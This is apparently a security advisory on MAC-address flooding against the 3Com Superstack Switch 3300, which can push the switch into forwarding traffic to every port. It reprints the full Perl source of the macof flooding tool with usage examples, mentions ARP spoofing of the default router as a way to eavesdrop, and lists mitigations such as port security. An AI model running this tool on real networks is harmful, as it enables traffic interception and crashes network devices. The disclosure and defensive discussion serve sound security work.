COMMAND
3COM Superstack Switch
SYSTEMS AFFECTED
3COM Superstack Switch 3300
PROBLEM
Following is based on Infosec Security Vulnerability Report. Due
to limitation with ARP/MAC-tables; switches could start sending
packages to all ports, other network devices could hang, crash or
reboot if they receive lots of MAC-addresses. Someone could
eavesdrop/sniff network connections over a switched network.
Denial of service attacks on a local network is also possible.
This was tested on 3COM Superstack Switch 3300 (3c16981 Hardware
v.1 Software v.2.10).
Senario:
- Computer A talks with computer B
- Computer C is running macof
- Computer A, B and C are connected to the same 3com switch
When running macof from
http://quake.skif.net/RawIP/macof.html
a perl-program included in the perl-module Raw:IP
http://quake.skif.net/RawIP/
through a 3com Superstack Switch 3300 (3c16981 Hardware v.1
Software v.2.10) the switch starts to send all network packages
from computer A to computer B and computer C. This problem is
known as "Learning mode" and is the state the switch is in when
it "learn" how the network is configurated. What it does is
simply to record what port each mac-address is responding.
At DefCon VI there were discussions about switches. Some people
acquire a switch because you could not eavesdrop a network
connection over it. Someone told that if you send a special
multicast to a switch you could spoof another switch and thereby
should the switch start sending you network packages. In these
attempts Infosec discovered that you easily could spoof a
MAC-address and thereby confuse a switch because the switch tries
to remember which MAC-addresses is on each port. Because of some
network packages goes to the spoofing MAC you get problems with
the connections (resends). But what happens if the switch gets
flooded with MAC-addresses? The switch just has a bound
memory-space for the MAC-addresses on each port. What happens if
this table gets full? After a few tests (with macof) Infosec got
different results depending on the brand of the switch. Some
switches stopped working and other started to forward network
traffic to wrong or all ports. The only scientific analysis is
this one reported. This is a resource problem.
macof is just one way to do it. Infosec thinks that the best way
to eavesdrop a connection over a switch is to spoof the default
router and send ARP-redirects with your MAC-address as ?changing
to? and route the incoming packages to the default routers
MAC-address. Test program, macof:
#!/usr/bin/perl -w
#
# macof v. 1.1
# By Ian Vitek ( ian.vitek@infosec.se )
# Tests network devices by flooding local network with MAC-addresses.
#
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./macof -e <mac_of_def_gate> -n 1000000
# ./macof -r -n 1000000
# (run it several times)
#
# Warning: This program could cause serious problems on your network.
# This program could hang, crash or reboot network devices.
# Switches could start sending packages to all ports making it
# possible to intercept network traffic.
#
#
require 'getopts.pl';
use Net::RawIP;
Getopts('hvrs:e:d:x:y:i:n:');
sub GenMAC
{
my $tmp_mac="00";
my $i=0;
# generate random mac-address
while($i++ < 5) {
$tmp_mac.=":" . sprintf("%x",int rand 16);
$tmp_mac.=sprintf("%x",int rand 16);
}
return($tmp_mac);
}
$a = new Net::RawIP;
die "usage: $0 [options]\
\t-d dest_host\t\t(def:random)\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1)\
\t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );
# set default values
$opt_i=eth0 unless $opt_i;
$opt_n=1 unless $opt_n;
$s_host=$opt_s if $opt_s;
$d_host=$opt_d if $opt_d;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;
# choose network card
if($opt_e) {
$a->ethnew($opt_i, dest => $opt_e);
} else {
$a->ethnew($opt_i);
}
# Loop
for($times=0; $times < $opt_n; $times++) {
# Check if one or two mac-addresses should be generated
$mac=&GenMAC;
if($opt_r) {
$d_mac=&GenMAC;
print "$d_mac \t$mac\n" if($opt_v);
# set mac-addresses
$a->ethset(source => $mac, dest => $d_mac);
} else {
print "$mac\n" if($opt_v);
# set mac-address
$a->ethset(source => $mac);
}
# generate random source and destination ip-addresses
$s_host=17000000+int rand 4261000000 unless $opt_s;
$d_host=17000000+int rand 4261000000 unless $opt_d;
# generate random source and dest ports
$s_port=int rand 65535 unless $opt_x;
$d_port=int rand 65535 unless $opt_y;
# set network package
$a->set({ip => {saddr => $s_host, daddr => $d_host},
tcp => {source => $s_port, dest => $d_port}
});
# send
$a->ethsend;
}
The bridge designer faces two choices:
1. To flood packets when the filtering database fills. Thus the
bridge can cope with larger bridged networks than it was
originally designed for.
2. To refuse service to addresses not already in the filtering
database when the database fills.
IEEE 802.1d isn't much use in deciding which option is best.
SOLUTION
This doesn't seem like a major issue, as long as PER PORT Mac
limit < x < y < PER SWITCH Mac limit and y-x is a reasonable size.
Since you can only generate Mac addresses which will be recorded
on the port of the switch your attacking box is connected to,
you won't be able to overload the box entirely.
As a workaround for switches you could maybe, where available,
lock a MAC-address to every port on the switch. Don't use
"learning mode" on the switch. In a secure environment you know
most of the needed mac-addresses and the rest you should know
anyway so you do not need "learning mode". But is it a
limitation? Yes. The switch should notice that a port is
behaving very strange and disable it (before it's MAC-table is
flushed). So, fixes are to activate "port security", which
deactivates a port if its MAC address changes. This limits the
DoS to one machine, which may still be worthwhile if the machine
runs an attractive service. It is costly to administer in a large
network. Some switches have a "trap on port MAC address change"
option. The port running the exploit will generate a huge number
of traps, and suitable administrative action taken. Networks with
trees of switches will see multiple traps as MAC addresses
changes, so this option is usually only enabled on switches at the
edge.